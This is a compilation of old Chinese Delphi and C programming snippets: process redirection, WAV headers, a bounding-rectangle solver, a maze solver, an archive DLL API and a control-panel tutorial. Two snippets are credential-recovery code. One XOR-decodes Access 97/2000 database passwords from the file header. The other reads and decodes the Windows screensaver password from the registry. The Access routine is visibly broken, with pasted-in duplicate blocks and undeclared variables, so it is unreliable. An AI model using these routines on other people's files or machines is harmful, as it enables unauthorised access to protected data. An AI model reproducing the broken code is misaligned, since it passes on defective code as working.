redirected to take input from InputFile (optional) and give

output to OutputFile

Result : True on success

Parameters : CommandLine : the command line for app, including full path

InputFile : the ascii file where from the app takes input,

empty if no input needed/required.

OutputFile : the ascii file to which the output is redirected

ErrMsg : additional error message string. Can be empty

Error checking : YES

Target : Delphi 2, 3, 4

Author : Theodoros Bebekis, email bebekis@otenet.gr

Notes :

Example call : CreateDOSProcessRedirected('C:.exe',

'C:.txt',

'C:.txt',

'Please, record this message')

-------------------------------------------------------------------------------}

function CreateDOSProcessRedirected(const CommandLine, InputFile, OutputFile,

ErrMsg :string): boolean;

const

ROUTINE_ID = '[function: CreateDOSProcessRedirected]';

var

OldCursor : TCursor;

pCommandLine : array[0..MAX_PATH] of char;

pInputFile,

pOutPutFile : array[0..MAX_PATH] of char;

StartupInfo : TStartupInfo;

ProcessInfo : TProcessInformation;

SecAtrrs : TSecurityAttributes;

hAppProcess,

hAppThread,

hInputFile,

hOutputFile : THandle;

begin

Result := FALSE;

{ check for InputFile existence }

if (InputFile <> '') and (not FileExists(InputFile)) then

raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +

'Input file * %s *' + #10 +

'does not exist' + #10 + #10 +

ErrMsg, [InputFile]);

hAppProcess := 0;

hAppThread := 0;

hInputFile := 0;

hOutputFile := 0;

{ save the cursor }

OldCursor := Screen.Cursor;

Screen.Cursor := crHourglass;

try

{ copy the parameter Pascal strings to null terminated strings }

StrPCopy(pCommandLine, CommandLine);

StrPCopy(pInputFile, InputFile);

StrPCopy(pOutPutFile, OutputFile);

{ prepare SecAtrrs structure for the CreateFile calls. This SecAttrs

structure is needed in this case because we want the returned handle to

be inherited by child process. This is true when running under WinNT.

As for Win95, the parameter is ignored. }

FillChar(SecAtrrs, SizeOf(SecAtrrs), #0);

SecAtrrs.nLength := SizeOf(SecAtrrs);

SecAtrrs.lpSecurityDescriptor := nil;

SecAtrrs.bInheritHandle := TRUE;

if InputFile <> '' then

begin

{ create the appropriate handle for the input file }

hInputFile := CreateFile(

pInputFile, { pointer to name of the file }

GENERIC_READ or GENERIC_WRITE, { access (read-write) mode }

FILE_SHARE_READ or FILE_SHARE_WRITE, { share mode }

@SecAtrrs, { pointer to security attributes }

OPEN_ALWAYS, { how to create }

FILE_ATTRIBUTE_NORMAL

or FILE_FLAG_WRITE_THROUGH, { file attributes }

0); { handle to file with attrs to copy }

{ is hInputFile a valid handle? }

if hInputFile = INVALID_HANDLE_VALUE then

raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +

'WinApi function CreateFile returned an invalid handle value' + #10 +

'for the input file * %s *' + #10 + #10 +

ErrMsg, [InputFile]);

end else

{ we aren't using an input file }

hInputFile := 0;

{ create the appropriate handle for the output file }

hOutputFile := CreateFile(

pOutPutFile, { pointer to name of the file }

GENERIC_READ or GENERIC_WRITE, { access (read-write) mode }

FILE_SHARE_READ or FILE_SHARE_WRITE, { share mode }

@SecAtrrs, { pointer to security attributes }

CREATE_ALWAYS, { how to create }

FILE_ATTRIBUTE_NORMAL

or FILE_FLAG_WRITE_THROUGH, { file attributes }

0 ); { handle to file with attrs to copy }

{ is hOutputFile a valid handle? }

if hOutputFile = INVALID_HANDLE_VALUE then

raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +

'WinApi function CreateFile returned an invalid handle value' + #10 +

'for the output file * %s *' + #10 + #10 +

ErrMsg, [OutputFile]);

{ prepare StartupInfo structure }

FillChar(StartupInfo, SizeOf(StartupInfo), #0);

StartupInfo.cb := SizeOf(StartupInfo);

StartupInfo.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;

StartupInfo.wShowWindow := SW_HIDE;

StartupInfo.hStdOutput := hOutputFile;

StartupInfo.hStdInput := hInputFile;

{ create the app }

Result := CreateProcess(

NIL, { pointer to name of executable module }

pCommandLine, { pointer to command line string }

NIL, { pointer to process security attributes }

NIL, { pointer to thread security attributes }

TRUE, { handle inheritance flag }

HIGH_PRIORITY_CLASS, { creation flags }

NIL, { pointer to new environment block }

NIL, { pointer to current directory name }

StartupInfo, { pointer to STARTUPINFO }

ProcessInfo); { pointer to PROCESS_INF }

{ wait for the app to finish its job and take the handles to free them later }

if Result then

begin

WaitforSingleObject(ProcessInfo.hProcess, INFINITE);

hAppProcess := ProcessInfo.hProcess;

hAppThread := ProcessInfo.hThread;

end else

raise Exception.Create(ROUTINE_ID + #10 + #10 +

'Function failure' + #10 + #10 + ErrMsg);

finally

{ close the handles

Kernel objects, like the process and the files we created in this case,

are maintained by a usage count.

So, for cleaning up purposes we have to close the handles

to inform the system that we don't need the objects anymore }

if hOutputFile <> 0 then

CloseHandle(hOutputFile);

if hInputFile <> 0 then

CloseHandle(hInputFile);

if hAppThread <> 0 then

CloseHandle(hAppThread);

if hAppProcess <> 0 then

CloseHandle(hAppProcess);

{ restore the old cursor }

Screen.Cursor:= OldCursor;

end;

end; { CreateDOSProcessRedirected }


Wav格式
// 这是PCMWave文件头

typedef struct

{

char szRiff[4]; // = "RIFF"

DWORD dwSize_8; // = FileSize - 8

char szWave[4]; // = "WAVE"

char szFmt[4]; // = "fmt "

DWORD dwFmtSize; // = 下一个结构体的大小 : 16

WORD wFormatTag; // = PCM : 1

WORD wChannels; // = 通道数 : 1

DWORD dwSamplesPerSec; // = 采样率 : 8000 | 6000 | 11025 | 16000

DWORD dwAvgBytesPerSec; // = 每秒字节数 : dwSamplesPerSec *

wBitsPerSample / 8

WORD wBlockAlign; // = 每采样点字节数 : wBitsPerSample / 8

WORD wBitsPerSample; // = 量化比特数: 8 | 16

char szData[4]; // = "data";

DWORD dwDatasize; // = 纯数据长度 : FileSize - 44

}TWavePCMHead;

// 这是aLaw 和 uLaw Wav文件头

typedef struct

{

char szRiff[4]; // = "RIFF"

DWORD dwSize_8; // = FileSize - 8

char szWave[4]; // = "WAVE"

char szFmt[4]; // = "fmt "

DWORD dwFmtSize; // = 下一个结构体的大小 : 16

WORD wFormatTag; // = aLaw : 6 | uLaw : 7

WORD wChannels; // = 通道数 : 1

DWORD dwSamplesPerSec; // = 采样率 : 8000 | 6000 | 11025 | 16000

DWORD dwAvgBytesPerSec; // = 每秒字节数 : dwSamplesPerSec *

wBitsPerSample / 8

WORD wBlockAlign; // = 每采样点字节数 : wBitsPerSample / 8

WORD wBitsPerSample; // = 量化比特数: 8 | 16

WORD wCbSize; // = 下一个结构体的大小 : 0

char szFact[4]; // = "fact"

WORD wUnknown1; // = 4;

WORD wUnknown2; // = 0;

DWORD dwDatasize_raw; // = Datasize : FileSize - 58

char szData[4]; // = "data";

DWORD dwDatasize; // = DataSize : FileSize - 58

}TWaveAULAWHead, *PTWaveAULAWHead;


注册表如何递归
procedure xxxxx(KeyName)

var

...

begin

定位主键的位置

if Registry.HasSubKeys then

begin

Registry.GetKeyNames(TString);

for i:=0 to TString.Items.Count-1 do

xxxxx(TString.Values[i])

end;

end;


Access密码破解
破解Access数据库密码

这是Office97的解法：(2000你要不？)

function GetAccessPassword(FilePath:string):string;

const

xorString:array[0..12]of byte=

( $86, $FB, $EC, $37,

$5D, $44, $9C, $FA,

$C6, $5E, $28, $E6,$13 );

var

passBuf:array[0..14]of byte;

pass:array[0..14]of char;

resultPass:string;

B:Byte;

F:TFileStream;

i:integer;

begin

F:=TFileStream.Create(FilePath,fmShareDenyNone);

//office 97

try

F.Seek($42,soFromBeginning);

F.Read(passBuf,14);

for I:=0 to 13 do

begin

B := passBuf[i] xor xorString[i];

pass[i]:=char(B);

end;

pass[sizeof(pass) - 1] := #0;

resultPass:=StrPas(Pass);

finally

F.Free;

end;

result:=resultPass;

/// office 2000

f.seek($42,sofrombeginning);

f.read(passbuff2,40);

i:=0;j:=0;

while i<40 do

begin

b := passbuff2[i] xor xorstring2[j];

pass2[j]:=char(b);

inc(i,2);inc(j);

end;

pass2[sizeof(pass2) - 1] := #0;

edit2.text:=strpas(pass2);

finally

f.free;

end;

///end 2000

end;

*************

[FOR ACCESS97]

predef97:array[0..12] of byte=

($86,$fb,$ec,$37,

$5d,$44,$9c,$fa,

$c6,$5e,$28,$e6,$13);

[FOR ACCESS2000]

predef2k:array [0..20]of byte=

($d3,$ec,$08,$9c,

$93,$28,$46,$8a,

$01,$7b,$a0,$df,

$22,$13,$9a,$b1,

$61,$79,$c7,$7c,$5b);


X的Y次方
Exp(ln(x)*y)==X的Y次方！


如何求出包围任意折线多边形的最小矩形
给出一任意折线多边形（各点坐标已知），现欲找到一最小矩形（求出四点坐标），

使各点均落在矩形边上或内部。

GGCAT, 时间：2000-10-13 19:26:07, ID：365137

寻找最长边的方法是绝对错误的！！！！

小举一例：

一个简单的矩形，距离最长的两点是两个对角点，你把它这么一转。。。

然后再求上，下顶点，看看你的结果。哈哈，开玩笑吧！

我想也许用逐步逼近法也许是最好的了。因为原结果可能是不只一个的。

我已经在本机测试了，效果不错。

来自：GGCAT, 时间：2000-10-13 22:30:00, ID：365279

再 灌点水 吧！ 试一下我的程序：

unit PloyTest;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TPolyVertex=record //浮点型顶点定义

X:Double;

Y:Double

End;

TMinRect=Record //矩形记录

p1:TPolyVertex;

p2:TPolyVertex;

p3:TPolyVertex;

p4:TPolyVertex;

Size:Double;

Degree:Double;

End;

TPolyArray=Array of TpolyVertex; //多边型浮点数组类型

TForm1 = class(TForm)

Test: TButton;

procedure TestClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

Procedure PloyRotate(Var SrcPoly,DstPoly:TPolyArray; Value:Double);

Function BuildMinRect(Poly:TpolyArray):TminRect;

var

Form1: TForm1;

RandomPoly:TPolyArray;

implementation

{$R *.DFM}

Procedure PloyRotate(Var SrcPoly,DstPoly:TPolyArray; Value:Double);

Var I,H:Integer;

CosV,SinV:Double; //旋转变换

Begin

H:=High(SrcPoly);

SetLength(DstPoly,H+1);

CosV:=Cos(Value);SinV:=Sin(Value);

For I:=0 to H do

Begin

DstPoly[I].X:=SrcPoly[I].X*CosV-SrcPoly[I].Y*SinV;

DstPoly[I].Y:=SrcPoly[I].X*SinV+SrcPoly[I].Y*CosV;

End;

End;

Function BuildMinRect(Poly:TpolyArray):TminRect; //求最小水平包含矩形

Var I:Integer;

HMin,HMax,VMin,VMax:Double;

Begin

HMin:=999999999999; HMax:=-999999999999 ;

VMin:=999999999999; VMax:=-999999999999 ;

For I:=0 to High(Poly) Do

Begin

IF Poly[I].X<HMin then HMin:=Poly[I].X;

IF Poly[I].X>HMax then HMax:=Poly[I].X;

IF Poly[I].Y<VMin then VMin:=Poly[I].Y;

IF Poly[I].Y>VMax then VMax:=Poly[I].Y;

End;

Result.p1.X:=Hmin; Result.p1.Y:=Vmin;

Result.p2.X:=Hmax; Result.p2.Y:=Vmin;

Result.p3.X:=HMax; Result.p3.Y:=VMax;

Result.p4.X:=Hmin; Result.p4.Y:=VMax;

Result.Size:= ((Hmax-Hmin)*(Vmax-Vmin));

End;

procedure TForm1.TestClick(Sender: TObject);

Var TempPoly:TPolyArray;

I,J:Integer;

SizeMin,Step,Degree:Double;

ARect,MinRect:TminRect;

RectPoly:TpolyArray;

Begin

J:=Random(10)+3; RandSeed:=GetTickCount;

Setlength(RandomPoly,J);

For I:=0 to J-1 do //随机的多边形生成

Begin

RandomPoly[I].X:=Random(300)+100;

RandomPoly[I].Y:=Random(300)+50;

End;

Degree:=0 ; Step:=PI/720; //精确度

SizeMin:=9999999999999999;

while Degree<PI DO //角度递增旋转

Begin

PloyRotate(RandomPoly,TempPoly,Degree); //变换

ARect:=BuildMinRect(TempPoly); //求水平包含矩形

IF Arect.Size<SizeMin then

Begin

SizeMin:=ARect.Size; //记录最小面积的包含矩形

Minrect:=ARect;

MinRect.Degree:=Degree;

End;

Degree:=Degree+Step;

End;

SetLength(TempPoly,4);

TempPoly[0]:=MinRect.p1; TempPoly[1]:=MinRect.p2;

TempPoly[2]:=MinRect.p3; TempPoly[3]:=MinRect.p4;

PloyRotate(TempPoly,RectPoly,-Minrect.Degree); //反向变换结果矩形

Canvas.Brush.Color:=Clwhite;

Canvas.Rectangle(Canvas.Cliprect); //清除原内容

Canvas.Pen.Color:=ClBlue; //画多边形

canvas.Moveto(Round(RandomPoly[0].X),Round(RandomPoly[0].Y));

For I:=1 to J-1 do

canvas.Lineto(Round(RandomPoly[I].X),Round(RandomPoly[I].Y));

canvas.Lineto(Round(RandomPoly[0].X),Round(RandomPoly[0].Y));

Canvas.Pen.Color:=ClRed; //画包含矩形

canvas.Moveto(Round(RectPoly[0].X),Round(RectPoly[0].Y));

For I:=1 to 3 do

canvas.Lineto(Round(RectPoly[I].X),Round(RectPoly[I].Y));

canvas.Lineto(Round(RectPoly[0].X),Round(RectPoly[0].Y));

End;

end.

来自：GGCAT, 时间：2000-10-13 22:47:23, ID：365291

续集 ：

while Degree<PI DO //角度递增旋转

Begin

PloyRotate(RandomPoly,TempPoly,Degree); //变换

ARect:=BuildMinRect(TempPoly); //求水平包含矩形

IF Arect.Size<SizeMin then

Begin

SizeMin:=ARect.Size; //记录最小面积的包含矩形

Minrect:=ARect;

MinRect.Degree:=Degree;

End;

Degree:=Degree+Step;

End;

SetLength(TempPoly,4);

TempPoly[0]:=MinRect.p1; TempPoly[1]:=MinRect.p2;

TempPoly[2]:=MinRect.p3; TempPoly[3]:=MinRect.p4;

PloyRotate(TempPoly,RectPoly,-Minrect.Degree); //反向变换结果矩形

Canvas.Brush.Color:=Clwhite;

Canvas.Rectangle(Canvas.Cliprect); //清除原内容

Canvas.Pen.Color:=ClBlue; //画多边形

canvas.Moveto(Round(RandomPoly[0].X),Round(RandomPoly[0].Y));

For I:=1 to J-1 do

canvas.Lineto(Round(RandomPoly[I].X),Round(RandomPoly[I].Y));

canvas.Lineto(Round(RandomPoly[0].X),Round(RandomPoly[0].Y));

Canvas.Pen.Color:=ClRed; //画包含矩形

canvas.Moveto(Round(RectPoly[0].X),Round(RectPoly[0].Y));

For I:=1 to 3 do

canvas.Lineto(Round(RectPoly[I].X),Round(RectPoly[I].Y));

canvas.Lineto(Round(RectPoly[0].X),Round(RectPoly[0].Y));

End;

end.


将热键转化为字符串
将Windows的Hot Key转换成字符串

function ShortCutToString(const HotKey:word):string;

var

shift:tshiftstate;

begin

shift:=[];

if ((wordrec(HotKey).hi shr 0) and 1)<>0 then

include(shift,ssshift);

if ((wordrec(HotKey).hi shr 1) and 1)<>0 then

include(shift,ssctrl);

if ((wordrec(HotKey).hi shr 2) and 1)<>0 then

include(shift,ssalt);

result:=shortcuttotext(shortcut(wordrec(hotkey).lo,shift));

end;

function ShiftStateToWord(Shift:TShiftState):Word;

begin

if ssShift in Shift then Result :=MOD_SHIFT;

if ssCtrl in Shift then Result :=Result or MOD_CONTROL;

if ssAlt in Shift then Result:=Result or MOD_ALT;

end;


屏幕保护密码
2.破译密码：

首先，屏保密码最多8位，再多设也无意义，可以试一下。

注册表中 HKEY_CURRENT_USERPanel找

ScreenSave_Data，鼠标双击它后出现“编辑二进制值”窗口，

在下面的键值框中看最右边的字符，(两行，具体看密码多少定)

两个字符为一组，数一下几组就知道密码有几位了。

假设密码为“12345”则那里会是这样的：79,DC,45,29,52

分别与 78,DE,46,2D,57,59,91,2B 进行异或(xor)，

79 xor 78, -> 1

DC xor DE, -> 2

45 xor 46, -> 3

29 xor 2D, -> 4

52 xor 57, -> 5

就可得到密码了，从密钥可知，密码最长只有8位。

*********************

用这个就可以了：

Function TfrmMagic.FindScreenSaverPwd():String;//查找屏幕保护的口令

var

BTmp:Array[0..15] of Byte;

STmp:Array[1..32] of Byte;

intCount:Integer;

i:Integer;

j:Integer;

strTmp:String;

bytTmp:Byte;

strResult:String;

Begin

BTmp[0]:=(72);

BTmp[1]:=(238);

BTmp[2]:=(118);

BTmp[3]:=(29);

BTmp[4]:=(103);

BTmp[5]:=(105);

BTmp[6]:=(161);

BTmp[7]:=(27);

BTmp[8]:=(122);

BTmp[9]:=(140);

BTmp[10]:=(71);

BTmp[11]:=(248);

BTmp[12]:=(84);

BTmp[13]:=(149);

BTmp[14]:=(151);

BTmp[15]:=(95);

for i:=1 to 32 do

begin

STmp[i]:=0;

end;

MagicReg:=TRegistry.Create;

MagicReg.RootKey:=HKEY_CURRENT_USER;

MagicReg.OpenKey('Control Panel',True);

intCount:=MagicReg.ReadBinaryData('ScreenSave_Data',STmp,Sizeof(STmp));

if intCount>0 then

Begin

j:=1;

For i:=1 To trunc((IntCount-1)/2) Do

begin

if STmp[i]<>00 then

Begin

strTmp:=Chr(STmp[j]);

j:=j+1;

strTmp:=strTmp + Chr(STmp[j]);

bytTmp:=gStrToByte(strTmp);

strResult:=strResult+Chr(bytTmp Xor BTmp[i-1]);

j:=j+1;

end;

end;

end;

MagicReg.CloseKey;

MagicReg.Free;

FindScreenSaverPwd:=strResult;

end


关于帮助
Application.HelpFile := 'hlp 的路径';

Application.HelpCommand(HELP_CONTENTS, 0);

其中HELP_CONTENTS可以是以下值:

1. HELP_CONTEXT

以窗口形式显示"该主题不存在".

2. HELP_CONTENTS == "3" "9" (意为既可是HELP_CONTENTS,又可是数字3或9)

显示context号最低的主题窗口(topics).

3. HELP_INDEX

同上.

4. HELP_KEY == "11"

显示"索引"窗口.

5. HELP_HELPONHELP == "4"

显示Help应用程序的自身帮助.

6. HELP_PARTIALKEY

同4

7. HELP_CONTEXTPOPUP == "8"

以pupop形式显示"没有与之相关的主题".

8. HELP_FORCEFILE

同2

9. "15"

显示"帮助主题"的"目录"窗口.

10.退出帮助

application.HelpCommand(HELP_QUIT,0);

若用Application.HelpContext(n);

n值为你在制作帮助文件时Topic或Popup的唯一序号.


一个树形Node操作DLL
通用归档API集 (General Purpose Archive Library) Ver 0.5

有以下几个特点：

1. 采用树形组织数据，提供对树状结构进行访问的API。用单个文件储存所有数据。

2. 载入的开销非常低，只有一个目录区被载入。采用文件映像方式，因此访问数据时的内存是动态分配的，效率很高。

3. Dll提供的所有API都是C风格的，Delphi，CB等亦可使用

4. 源代码公开。用了一点STL，大量用到递归，模仿Win32API进行数据封装。

/**********************************************************

gpa.h 通用归档API集 DLL接口声明

版权所有(C) 2001 WannaPlay

通用归档API集完全自由发放。

任何人都可以没有限制的使用、修改和再发布本代码。

同时作者也没有义务为代码可能对你的应用和系统造

成的任何损害承担责任。

发现任何Bug，缺陷，或有任何意见和建议，请联系作者。

谢谢。

Home Page: http://wannaplay.51.net

eMail: rocks_lee@263.net

***********************************************************/

#ifndef _WANNAJOY_GPA_H_

#define _WANNAJOY_GPA_H_

#include <windows.h>

#ifdef DLL_EXPORTS

#define GPA_API extern "C" __declspec(dllexport)

#else

#define GPA_API extern "C" __declspec(dllimport)

#endif

// 声明通用归档句柄

DECLARE_HANDLE(HGPA);

// 声明文档节点句柄

DECLARE_HANDLE(HNODE);

/**

* 打开一个通用归档文件

* @param szFilename 通用归档文件名

* @return 通用归档句柄

*/

GPA_API HGPA gpa_Open(LPSTR szFilename);

/**

* 关闭一个通用归档文件

* @param hGpa 通用归档句柄

* @return void

*/

GPA_API void gpa_Close(HGPA hGpa);

/**

* 得到通用归档的树形结构的根节点

* @param hGpa 通用归档句柄

* @return 文档根节点

*/

GPA_API HNODE gpa_GetRoot(HGPA hGpa);

/**

* 得到通用归档文件的版本号，低字为主版本号，高字为副版本号

* @param szFilename 通用归档句柄

* @return 版本号

*/

GPA_API DWORD gpa_GetVersion(HGPA hGpa);

/**

* 将以hRoot为根的树形结构保存为通用归档文件

* @param szFilename 通用归档文件名

* @param hRoot 树形结构的根节点

* @return void

*/

GPA_API void gpa_Save(LPSTR szFilename, HNODE hRoot);

/**

* 打印输出以hNode为根的子树，供调试用

* @param hNode 树形文档节点

* @return void

*/

GPA_API void gpa_DumpNode(HNODE hNode);

/**

* 创建一个数据节点。如果hParent不为空，将自动添加到hParent

* 注意：数据不会被拷贝，直到调用gpa_Save

* @param szNodeName 数据节点的字符串名，必须少于15个字符

* @param hParent 父节点，可以为NULL

* @param pData 数据的起始地址，

* @param dwSize 数据的大小（以字节计算）

* @param uFlags 标志，必须为0

* @return 数据节点句柄

*/

GPA_API HNODE gpa_CreateDataNode(LPSTR szNodeName,

HNODE hParent,

LPVOID pData,

DWORD dwSize,

UINT uFlags);

/**

* 创建一个目录节点。如果hParent不为空，将自动添加到hParent

* 只有目录节点才可以添加子节点

* @param szNodeName 数据节点的字符串名，必须少于15个字符

* @param hParent 父节点，可以为NULL

* @param uFlags 标志，必须为0

* @return 目录节点句柄

*/

GPA_API HNODE gpa_CreateDirNode(LPSTR szNodeName,

HNODE hParent,

UINT uFlags);

/**

* 删除一个节点以及以该节点为根的子树

* @param hNode 待删除节点

* @return void

*/

GPA_API void gpa_DeleteNode(HNODE hNode);

/**

* 判断一个节点是否目录节点

* @param hNode 文档节点

* @return 布尔值

*/

GPA_API BOOL gpa_IsDirectory(HNODE hNode);

/**

* 得到一个节点的名字

* @param hNode 文档节点

* @return 节点的名字

*/

GPA_API LPSTR gpa_GetNodeName(HNODE hNode);

/**

* 得到一个节点的子节点数目，不包括子节点的子节点。

* 对于数据节点，返回0

* @param hNode 文档节点

* @return 子节点数目

*/

GPA_API int gpa_GetChildCount(HNODE hNode);

/**

* 向一个目录节点添加一个子节点。

* 如果hParent是数据节点，调用无任何效果

* @param hParent 父节点

* @param hChild 子节点

* @return void

*/

GPA_API void gpa_AddChild(HNODE hParent, HNODE hChild);

/**

* 删除指定的子树

* @param hParent 父节点

* @param szChildName 子树根节点名

* @return void

*/

GPA_API void gpa_RemoveChild(HNODE hParent, LPSTR szChildName);

/**

* 根据字符串名查找子节点。

* @param hParent 待查找的父节点

* @param szChildName 子节点名称

* @return 有给定名称的第一个子节点，不存在则返回NULL

*/

GPA_API HNODE gpa_FindChild(HNODE hParent, LPSTR szChildName);

/**

* 得到指定位置的子节点。

* 节点的排列同gpa_AddChild和gpa_CreateXXXNode的调用顺序相同

* @param hParent 父节点

* @param nIndex 子节点索引

* @return 指定位置的子节点

*/

GPA_API HNODE gpa_GetChildAt(HNODE hParent, int nIndex);

/**

* 得到一个节点的父节点

* @param hNode 文档节点

* @return 该节点的父节点

*/

GPA_API HNODE gpa_GetParent(HNODE hNode);

/**

* 得到一个数据节点的数据的起始地址和大小

* @param ppData 输出参数，将被填充真正的起始地址

* @param pdwSize 输出参数，将被填充为真正的大小

* @return void

*/

GPA_API void gpa_GetContent(HNODE hDataNode,

LPVOID* ppData,

DWORD* pdwSize);

#endif//_WANNAJOY_GPA_H_

附件>>>>> gpa.zip


迷宫问题
迷宫问题(程序源码)

//实习2.9

//迷宫

//Visual C++6.0 调试通过

#include<stdio.h>

#include<stdlib.h>

#define CAN 0 ///迷宫通路

#define WALL 1 ///迷宫障碍

#define PATH 2 ///迷宫路径

#define EVER 3 ///曾经走过但事实上是不行的

#define Fail 0

#define Succ 1

#define M 80 ///迷宫的最大行数

#define N 80 ///迷宫的最大列数

typedef int Status;

Status ReadData(fname,pmaze,arg) //从文件中读取数据

char *fname;

int *pmaze;

int arg[];

{

FILE *fp;

int i,j;

fp=fopen(fname,"r");

if(!fp) return Fail;

fscanf(fp,"%d %d",&arg[0],&arg[1]);

for(i=0;i<arg[0];i++)

for(j=0;j<arg[1];j++)

fscanf(fp,"%d",pmaze+arg[1]*i+j);

return Succ;

}//ReadData

Status SetMaze(arg) //设置迷宫参数

int arg[];

{ printf("BEGIN (row<=%d,col<=%d):",arg[0],arg[1]);

scanf("%d,%d",&arg[2],&arg[3]);

arg[2]--;arg[3]--;

printf("END: (row<=%d,col<=%d):",arg[0],arg[1]);

scanf("%d,%d",&arg[4],&arg[5]);

arg[4]--;arg[5]--;

return Succ;

}//SetMaze

Status OutputMaze(pmaze,arg) //向屏幕输出迷宫数据

int *pmaze;

int arg[];

{ int i,j;

for(i=0;i<arg[0];i++)

{for(j=0;j<arg[1];j++)

switch(*(pmaze+arg[1]*i+j))

{

case CAN: printf("%2c",'+');break;

case WALL:printf("%2c",'#');break;

case PATH:printf("%2c",'*');break;

case EVER:printf("%2c",'@');break;

}//switch

printf("");

}

return Succ;

}//OutputMaze

Status Solution(pmaze,arg) //解决问题的函数

int *pmaze;

int arg[];

{

int *sR,*sC,top;//顺序表示的栈，top是两个栈的顶，*(sX+top)是最后一个入栈的元素

int r,c;

sR=(int *)malloc(arg[0]*arg[1]*sizeof(int));

sC=(int *)malloc(arg[0]*arg[1]*sizeof(int));

top=0;//当top==0时表示是空的

r=arg[2];c=arg[3];

while(r!=arg[4] || c!=arg[5])

{ //T

*(pmaze+arg[1]*r+c)=PATH;

top++; ///1推入栈

*(sR+top)=r; ///2

*(sC+top)=c; ///3

if(top!=0 && c<arg[1]-1 && *(pmaze+arg[1]*r+c+1)==CAN) c=c+1;

else if(top!=0 && r<arg[0]-1 && *(pmaze+arg[1]*(r+1)+c)==CAN) r=r+1;

else if(top!=0 && c>0 && *(pmaze+arg[1]*r+c-1)==CAN) c=c-1;

else if(top!=0 && r>0 && *(pmaze+arg[1]*(r-1)+c)==CAN) r=r-1;

else //此点是死胡同

{*(pmaze+arg[1]*r+c)=EVER;

top--; ///1 找到路径的上一点

r=*(sR+top); ///2

c=*(sC+top); ///3

top--; ///1否则找到的点在while循环的下

///2一次执行时回再次推入栈

if(top==-1) break;//说明没有合适的路径

}

}//while

if(r==arg[4] && c==arg[5])

{*(pmaze+arg[1]*r+c)=PATH;return Succ;}

else

{return Fail;}

}//Solution

main(argc,argv)

int argc;

char *argv[];

{ char *fname; ///数据文件名

int maze[M][N]; ///迷宫表示

int arg[6]; ///如下边表格所示的内容，是参数的集合

Status res; ///解决问题成功与否的标志

// arg[0] | arg[1] | arg[2] | arg[3] | arg[4] | arg[5]

// --------+--------+--------+--------+--------+-------

// rows | cols | r_begin| c_begin| r_end | c_end

printf("----+---+---+----MAZE SOLUTION----+---+---+----");

printf("===============================================");

printf(" + ---> This point has never been visited. ");

printf(" # ---> This point is a wall-point. ");

printf(" * ---> This point has ever been visited, ");

printf(" but it is not a path-point. ");

printf(" @ ---> This point is a path-point. ");

printf("===============================================");

fname=(char *)malloc(20*sizeof(char));

//根据命令行参数读取文件名::开始

if(argc==1)

{printf("FILENAME(Lenth<=20): ");

scanf(" %s",fname);

}

else

fname=argv[1];

//根据命令行参数读取文件::结束

printf("===============================================");

//读取文件中的数据建立迷宫::开始

ReadData(fname,maze,arg);

OutputMaze(maze,arg);

//读取文件中的数据建立迷宫::结束

printf("===============================================");

//设置迷宫的出入口::开始

arg[2]=arg[3]=arg[4]=arg[5]=-1;

if(argc>=3)

{arg[2]=0;

arg[3]=0;

arg[4]=arg[0];

arg[5]=arg[1];

printf("BEGIN (row,col):");

printf("END: (row,col):");

arg[4]--;arg[5]--;

}

else

SetMaze(arg);

////以下四行为容错功能代码

if(arg[2]==-1) arg[2]=0;

if(arg[3]==-1) arg[3]=0;

if(arg[4]==-1) arg[4]=arg[0];

if(arg[5]==-1) arg[5]=arg[1];

//设置迷宫的出入口::结束

printf("===============================================");

//调用Solution解决问题::开始

res=Solution(maze,arg);

OutputMaze(maze,arg);

//调用Solution解决问题::结束

printf("===============================================");

//显示解决问题的结果::开始

if(res==Succ)

printf("Solve Successfully!");

else

printf("No Solution");

//显示解决问题的结果::结束

printf("----+---+----MAZE SOLUTION----+---+----");

}//main

作者会员名：xiezi


Delphi 5创建控制面板程序
Delphi 5快速创建控制面板程序

整理编辑：China ASP

---- Borland Delphi是深受广大软件开发人员喜爱的一种高效、快速的RAD（Rapid Application Development）开发工具。在1999年秋季发布的Delphi 5中，Delphi又引入了许多新的特色。其中之一便是Delphi 5的Enterprise和Professional版本中新增了用于快速创建控制面板（CPL）程序的向导和类，这使得我们能够在可视化开发环境中非常方便地建立控制面板应用程序。

---- 一、关于控制面板程序

---- 在Windows中，用户通过控制面板来进行增删程序、添加硬件、设置各种系统属性等操作。控制面板中所显示的小程序(或称之为对话框)是由控制面板程序(Control Panel Application)提供的。Windows本身附带了十来个控制面板应用程序，它们都位于Windows的System目录下，扩展名为*.CPL。每个控制面板中的应用程序可以有一个或多个对话框，每个对话框在控制面板中用一个图标代表。

---- 控制面板应用程序实质上是一类特殊的动态链接库，每个控制面板程序必须输出一个CPlApplet函数，它是控制面板应用程序的入口，其主要作用是处理Windows消息。CPlApplet函数的原型为：

function CPlApplet(

hwndCPl: THandle; //Identifies the main

window of the controlling application.

uMsg: DWORD; // Specifies the message

being sent to the Control Panel application

lParam1, lParam2: Longint // Specify

additional message-specific information

): Longint; stdcall;

---- CplApplet函数是控制面板与控制面板应用程序通讯的唯一方式。一个控制面板程序中的CplApplet函数的基本框架结构如下：

function CPlApplet(hwndCPl: THandle; uMsg: DWORD;

lParam1, lParam2: Longint): Longint;

begin

//…

case (uMsg) of

CPL_INIT: begin {…} end;

CPL_GETCOUNT: begin {…} end;

CPL_INQUIRE: begin {…} end;

CPL_NEWINQUIRE: begin {…} end;

CPL_DBLCLK: begin {…} end;

CPL_STOP: begin {…} end;

CPL_EXIT: begin {…} end;

CPL_STARTWPARMS: begin {…} end;

CPL_SETUP: begin {…} end;

end;

//函数的返回值取决于uMsg

end;

---- 事实上，编写控制面板程序的主要任务都放在处理这些CPL_消息上，关于这些消息的含义，请参看Delphi 5所带的帮助文档Win32.hlp。

---- 为了简化控制面板程序的创建，Delphi 5新增了一个可视化构件库CtlPanel.PAS。CtlPanel单元中定义了TAppletApplication(控制面板应用程序类)和TAppletModule类.

---- 使用TAppletApplication和TAppletModule类构造控制面板应用程序是一件非常轻松的事情。下面我来介绍一下在Delphi 5中创建控制面板程序的基本步骤。

---- 二、Delphi 5中建立控制面板程序

